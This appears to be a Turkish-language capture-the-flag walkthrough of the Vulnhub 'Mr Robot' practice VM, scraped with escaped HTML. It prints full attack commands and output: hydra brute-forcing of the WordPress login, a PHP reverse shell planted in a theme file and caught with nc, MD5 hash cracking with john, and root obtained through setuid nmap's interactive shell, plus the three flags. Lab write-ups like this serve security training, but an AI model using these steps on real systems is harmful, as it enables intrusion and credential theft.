A\u00e7\u0131klama:<\/strong> Vulnhub Sayfas\u0131:<\/strong> \u0130ndirme Sayfas\u0131:<\/strong> https:\/\/download.vulnhub.com\/mrrobot\/mrRobot.ova<\/a><\/p>\n Makinenin ip adresini tespit edelim.<\/p>\n nmap taramas\u0131 ile devam edelim.<\/p>\n CTF tarz\u0131nda bir makine ile kar\u015f\u0131 kar\u015f\u0131yay\u0131z. Nikto \u00e7\u0131kt\u0131s\u0131nda robots.txt oldu\u011funu g\u00f6rd\u00fcm ve bu linke gitti\u011fimde 1. flagi yakalad\u0131m. Dirb taramas\u0131nda license linki buldum. (http:\/\/192.168.0.20\/license<\/a>)<\/p>\n Bir wordpress sayfas\u0131 var ve istedi\u011fimiz kadar login sayfas\u0131nda deneme yapabildi\u011fimizi farkettim. Bunun \u00fcst\u00fcne kullan\u0131c\u0131 ad\u0131 tahmininde bulunmay denedim. CTF tarz\u0131nda bir makine oldu\u011fundan dolay\u0131 robots.txt sayfas\u0131nda olan fsocity.dic<\/strong> dosyas\u0131n\u0131 kulland\u0131m. Ancak dosya \u00fczerinde ilk ba\u015fta sadele\u015ftirme i\u015flemleri ger\u00e7ekle\u015ftirdim.<\/p>\n 858160 sat\u0131rdan 11451 sat\u0131ra d\u00fc\u015f\u00fcrd\u00fck. \u015eimdi hydra ile sald\u0131ral\u0131m.<\/p>\n Evet kullan\u0131c\u0131 ad\u0131 tespitinde bulunduk. \u015eimdi parola tespitinde bulunmay\u0131 deneyelim. Yine ayn\u0131 wordlist'i kulland\u0131m.<\/p>\n Harika, dashboarda ba\u011fland\u0131k. Dosyalar \u00fczerinde yazma hakk\u0131m\u0131zda bulunyor. Bunun \u00fczerine hemen https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php<\/a><\/strong> adresindeki reverse shel'i istedi\u011fimiz gibi de\u011fi\u015ftirip nc arac\u0131l\u0131\u011f\u0131 ile reverse shell alal\u0131m. http:\/\/192.168.0.20\/wp-admin\/theme-editor.php?file=404.php&theme=twentyfifteen<\/a><\/strong> 404 sayfas\u0131na reverse shell'i y\u00fckledim ve taray\u0131c\u0131dan tetikledi\u011fimde reverse shell'i ald\u0131m.<\/p>\n \u0130\u00e7eride gezindikten sonra 2. bayra\u011f\u0131 yakalad\u0131m.<\/p>\n robot kullana\u0131c\u0131s\u0131n\u0131n hash'ini john arac\u0131l\u0131\u011f\u0131 ile k\u0131rd\u0131m.<\/p>\n \u015eimdi robot kullan\u0131c\u0131s\u0131na ge\u00e7i\u015f yapal\u0131m.<\/p>\n Herzaman kulland\u0131\u011f\u0131m lse enum scripti ile i\u00e7eride tarma yapt\u0131m. Bu scripti github hesab\u0131da bulabilirsiniz.<\/p>\n nmap arac\u0131n\u0131n setuid flaginin oldu\u011funu tespit ettik...<\/p>\n Harika, \u015fimdi son bayra\u011f\u0131 okuyal\u0131m.<\/p>\n Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate. Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/mr-robot-1,151\/…<\/p>\n
\nThe VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.<\/p>\n
\nhttps:\/\/www.vulnhub.com\/entry\/mr-robot-1,151\/<\/a><\/p>\nWalkthrough<\/h2>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.0.16 netmask 255.255.255.0 broadcast 192.168.0.255\n inet6 fe80::a00:27ff:fea6:1f86 prefixlen 64 scopeid 0x20<link>\n ether 08:00:27:a6:1f:86 txqueuelen 1000 (Ethernet)\n RX packets 4456 bytes 5246213 (5.0 MiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 5225 bytes 365797 (357.2 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp]\n\u2514\u2500# arp-scan -l | grep 08:00:27:e5:7c:6b\n192.168.0.20 08:00:27:e5:7c:6b PCS Systemtechnik GmbH<\/code><\/pre>\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp]\n\u2514\u2500# nmap -A -T4 192.168.0.20 \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-05 10:18 EDT\nNmap scan report for 192.168.0.20\nHost is up (0.0010s latency).\nNot shown: 997 filtered ports\nPORT STATE SERVICE VERSION\n22\/tcp closed ssh\n80\/tcp open http Apache httpd\n|_http-server-header: Apache\n|_http-title: Site doesn't have a title (text\/html).\n443\/tcp open ssl\/http Apache httpd\n|_http-server-header: Apache\n|_http-title: Site doesn't have a title (text\/html).\n| ssl-cert: Subject: commonName=www.example.com\n| Not valid before: 2015-09-16T10:45:03\n|_Not valid after: 2025-09-13T10:45:03\nMAC Address: 08:00:27:E5:7C:6B (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.10 - 4.11\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 1.00 ms 192.168.0.20\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 26.98 seconds\n<\/code><\/pre>\n
\nhttp:\/\/192.168.0.20\/robots.txt<\/a><\/strong>:<\/p>\nUser-agent: *\nfsocity.dic\nkey-1-of-3.txt<\/code><\/pre>\nhttp:\/\/192.168.0.20\/key-1-of-3.txt:073403c8a58a1f80d943455fb30724b9<\/code><\/pre>\nWordPress - Web publishing software\n\nCopyright 2018 by the contributors\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# wc fsocity.dic \n 858160 858160 7245381 fsocity.dic\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# sort fsocity.dic >> fsocity.dic2\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# uniq fsocity.dic2 >> wordlist\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# wc wordlist \n11451 11451 96747 wordlist<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# hydra -L wordlist -p kuday 192.168.0.20 http-post-form '\/wp-login.php?action=lostpassword:user_login=^USER^&redirect_to=&wp-submit=Get+New+Password:F=Invalid username' -t 8\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-06-05 11:35:39\n[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, .\/hydra.restore\n[DATA] max 8 tasks per 1 server, overall 8 tasks, 11452 login tries (l:11452\/p:1), ~1432 tries per task\n[DATA] attacking http-post-form:\/\/192.168.0.20:80\/wp-login.php?action=lostpassword:user_login=^USER^&redirect_to=&wp-submit=Get+New+Password:F=Invalid username\n[STATUS] 566.00 tries\/min, 566 tries in 00:01h, 10886 to do in 00:20h, 8 active\n[STATUS] 571.00 tries\/min, 1713 tries in 00:03h, 9739 to do in 00:18h, 8 active\n[STATUS] 546.00 tries\/min, 3822 tries in 00:07h, 7630 to do in 00:14h, 8 active\n[80][http-post-form] host: 192.168.0.20 login: elliot password: kuday\n[80][http-post-form] host: 192.168.0.20 login: Elliot password: kuday\n[80][http-post-form] host: 192.168.0.20 login: ELLIOT password: kuday\n[STATUS] 531.33 tries\/min, 6376 tries in 00:12h, 5076 to do in 00:10h, 8 active\n[STATUS] 487.00 tries\/min, 8279 tries in 00:17h, 3173 to do in 00:07h, 8 active\n[STATUS] 440.55 tries\/min, 9692 tries in 00:22h, 1760 to do in 00:04h, 8 active\n[STATUS] 410.56 tries\/min, 11085 tries in 00:27h, 367 to do in 00:01h, 8 active\n[STATUS] 405.71 tries\/min, 11360 tries in 00:28h, 92 to do in 00:01h, 8 active\n1 of 1 target successfully completed, 3 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-06-05 12:04:09<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# hydra -l elliot -P wordlist 192.168.0.20 http-post-form '\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.20%2Fwp-admin%2F&testcookie=1:F=The password you entered' -t 8 \nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-06-05 11:49:24\n[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, .\/hydra.restore\n[DATA] max 8 tasks per 1 server, overall 8 tasks, 11452 login tries (l:1\/p:11452), ~1432 tries per task\n[DATA] attacking http-post-form:\/\/192.168.0.20:80\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.20%2Fwp-admin%2F&testcookie=1:F=The password you entered\n[STATUS] 276.00 tries\/min, 276 tries in 00:01h, 11176 to do in 00:41h, 8 active\n[STATUS] 268.67 tries\/min, 806 tries in 00:03h, 10646 to do in 00:40h, 8 active\n[STATUS] 267.71 tries\/min, 1874 tries in 00:07h, 9578 to do in 00:36h, 8 active\n[STATUS] 272.00 tries\/min, 4080 tries in 00:15h, 7372 to do in 00:28h, 8 active\n[80][http-post-form] host: 192.168.0.20 login: elliot password: ER28-0652\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-06-05 12:07:59<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# nc -lvp 1822 \nlistening on [any] 1822 ...\npwd\n192.168.0.20: inverse host lookup failed: Unknown host\nconnect to [192.168.0.16] from (UNKNOWN) [192.168.0.20] 39569\nLinux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU\/Linux\n 16:12:13 up 2:06, 0 users, load average: 1.19, 2.93, 4.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\n\/bin\/sh: 0: can't access tty; job control turned off\n$ \/\n$ pwd\n\/\n$ whoami\ndaemon\n$ <\/code><\/pre>\n\n$ ls -al\ntotal 16\ndrwxr-xr-x 2 root root 4096 Nov 13 2015 .\ndrwxr-xr-x 3 root root 4096 Nov 13 2015 ..\n-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt\n-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5\n$ cat password.raw-md5\nrobot:c3fcd3d76192e4007dfb496cca67e13b<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/mrroboy]\n\u2514\u2500# john password --format=Raw-MD5 --rules --wordlist=wordlist \nUsing default input encoding: UTF-8\nLoaded 1 password hash (Raw-MD5 [MD5 256\/256 AVX2 8x3])\nWarning: no OpenMP support for this hash type, consider --fork=2\nPress 'q' or Ctrl-C to abort, almost any other key for status\nabcdefghijklmnopqrstuvwxyz (robot)\n1g 0:00:00:00 DONE (2021-06-05 12:15) 25.00g\/s 307200p\/s 307200c\/s 307200C\/s 3dtt..bates\nUse the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably\nSession completed\n<\/code><\/pre>\n$ su robot\nsu: must be run from a terminal\n$ cat \/etc\/passwd | grep robot\nrobot:x:1002:1002::\/home\/robot:\n$ \n$ python -c 'import pty; pty.spawn("\/bin\/sh")'\n$ \n\n$ su robot\nsu robot\nPassword: abcdefghijklmnopqrstuvwxyz\n\nrobot@linux:~$ whoami\nwhoami\nrobot\nrobot@linux:~$ ls\nls\nkey-2-of-3.txt password.raw-md5\nrobot@linux:~$ cat key-2-of-3.txt\ncat key-2-of-3.txt\n822c73956184f694993bede3eb39f959<\/code><\/pre>\nrobot@linux:\/tmp$ pwd\npwd\n\/tmp\nrobot@linux:\/tmp$ wget http:\/\/192.168.0.16:8000\/lse.sh\nwget http:\/\/192.168.0.16:8000\/lse.sh\n--2021-06-06 09:26:06-- http:\/\/192.168.0.16:8000\/lse.sh\nConnecting to 192.168.0.16:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 41177 (40K) [text\/x-sh]\nSaving to: \u2018lse.sh\u2019\n\n100%[======================================>] 41,177 --.-K\/s in 0s \n\n2021-06-06 09:26:06 (86.8 MB\/s) - \u2018lse.sh\u2019 saved [41177\/41177]\n\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ chmod 777 lse.sh\nchmod 777 lse.sh\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ .\/lse.sh -l2 >> result\n.\/lse.sh -l2 >> result\nIf you know the current user password, write it here to check sudo privileges: abcdefghijklmnopqrstuvwxyz\nabcdefghijklmnopqrstuvwxyz\n\n---\n--More--(6%)\n[*] fst010 Binaries with setuid bit.....................--More--(6%)\n................... yes!\n--More--(6%)\n---\n--More--(6%)\n\/bin\/ping \n--More--(6%)\n\/bin\/umount \n--More--(6%)\n\/bin\/mount \n--More--(6%)\n\/bin\/ping6 \n--More--(6%)\n\/bin\/su \n--More--(6%)\n\/usr\/bin\/passwd\n--More--(6%)\n\/usr\/bin\/newgrp\n--More--(6%)\n\/usr\/bin\/chsh\n--More--(6%)\n\/usr\/bin\/chfn\n--More--(6%)\n\/usr\/bin\/gpasswd\n--More--(6%)\n\/usr\/bin\/sudo\n--More--(6%)\n\/usr\/local\/bin\/nmap\n\n[!] fst020 Uncommon setuid binaries.....................--More--(7%)\n................... yes!\n--More--(7%)\n---\n--More--(7%)\n\/usr\/local\/bin\/nmap\n--More--(7%)\n\/usr\/lib\/vmware-tools\/bin32\/vmware-user-suid-wrapper\n--More--(7%)\n\/usr\/lib\/vmware-tools\/bin64\/vmware-user-suid-wrapper\n--More--(7%)\n---\n--More--(7%)<\/code><\/pre>\n\nrobot@linux:\/tmp$ which nmap\nwhich nmap\n\/usr\/local\/bin\/nmap\nrobot@linux:\/tmp$ nmap \nnmap \nNmap 3.81 Usage: nmap [Scan Type(s)] [Options] <host or net list>\nSome Common Scan Types ('*' options require root privileges)\n* -sS TCP SYN stealth port scan (default if privileged (root))\n -sT TCP connect() port scan (default for unprivileged users)\n* -sU UDP port scan\n -sP ping scan (Find any reachable machines)\n* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)\n -sV Version scan probes open ports determining service & app names\/versions\n -sR RPC scan (use with other scan types)\nSome Common Options (none are required, most can be combined):\n* -O Use TCP\/IP fingerprinting to guess remote operating system\n -p <range> ports to scan. Example range: 1-1024,1080,6666,31337\n -F Only scans ports listed in nmap-services\n -v Verbose. Its use is recommended. Use twice for greater effect.\n -P0 Don't ping hosts (needed to scan www.microsoft.com and others)\n* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys\n -6 scans via IPv6 rather than IPv4\n -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy\n -n\/-R Never do DNS resolution\/Always resolve [default: sometimes resolve]\n -oN\/-oX\/-oG <logfile> Output normal\/XML\/grepable scan logs to <logfile>\n -iL <inputfile> Get targets from file; Use '-' for stdin\n* -S <your_IP>\/-e <devicename> Specify source address or network interface\n --interactive Go into interactive mode (then press h for help)\nExample: nmap -v -sS -O www.my.com 192.168.0.0\/16 '192.88-90.*.*'\nSEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES \nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ \n\nrobot@linux:\/tmp$ nmap --interactive\nnmap --interactive\n\nStarting nmap V. 3.81 ( http:\/\/www.insecure.org\/nmap\/ )\nWelcome to Interactive Mode -- press h <enter> for help\nnmap> h\nh\nNmap Interactive Commands:\nn <nmap args> -- executes an nmap scan using the arguments given and\nwaits for nmap to finish. Results are printed to the\nscreen (of course you can still use file output commands).\n! <command> -- runs shell command given in the foreground\nx -- Exit Nmap\nf [--spoof <fakeargs>] [--nmap_path <path>] <nmap args>\n-- Executes nmap in the background (results are NOT\nprinted to the screen). You should generally specify a\nfile for results (with -oX, -oG, or -oN). If you specify\nfakeargs with --spoof, Nmap will try to make those\nappear in ps listings. If you wish to execute a special\nversion of Nmap, specify --nmap_path.\nn -h -- Obtain help with Nmap syntax\nh -- Prints this help screen.\nExamples:\nn -sS -O -v example.com\/24\nf --spoof "\/usr\/local\/bin\/pico -z hello.c" -sS -oN e.log example.com\/24\n\nnmap> ! \/bin\/sh\n! \/bin\/sh\n# whoami\nwhoami\nroot<\/code><\/pre>\n# cd \/root\ncd \/root\n# \n\n# ls\nls\nfirstboot_done key-3-of-3.txt\n# cat key-3-of-3.txt\ncat key-3-of-3.txt\n04787ddef27c3dee1ee161b21670b4e4<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"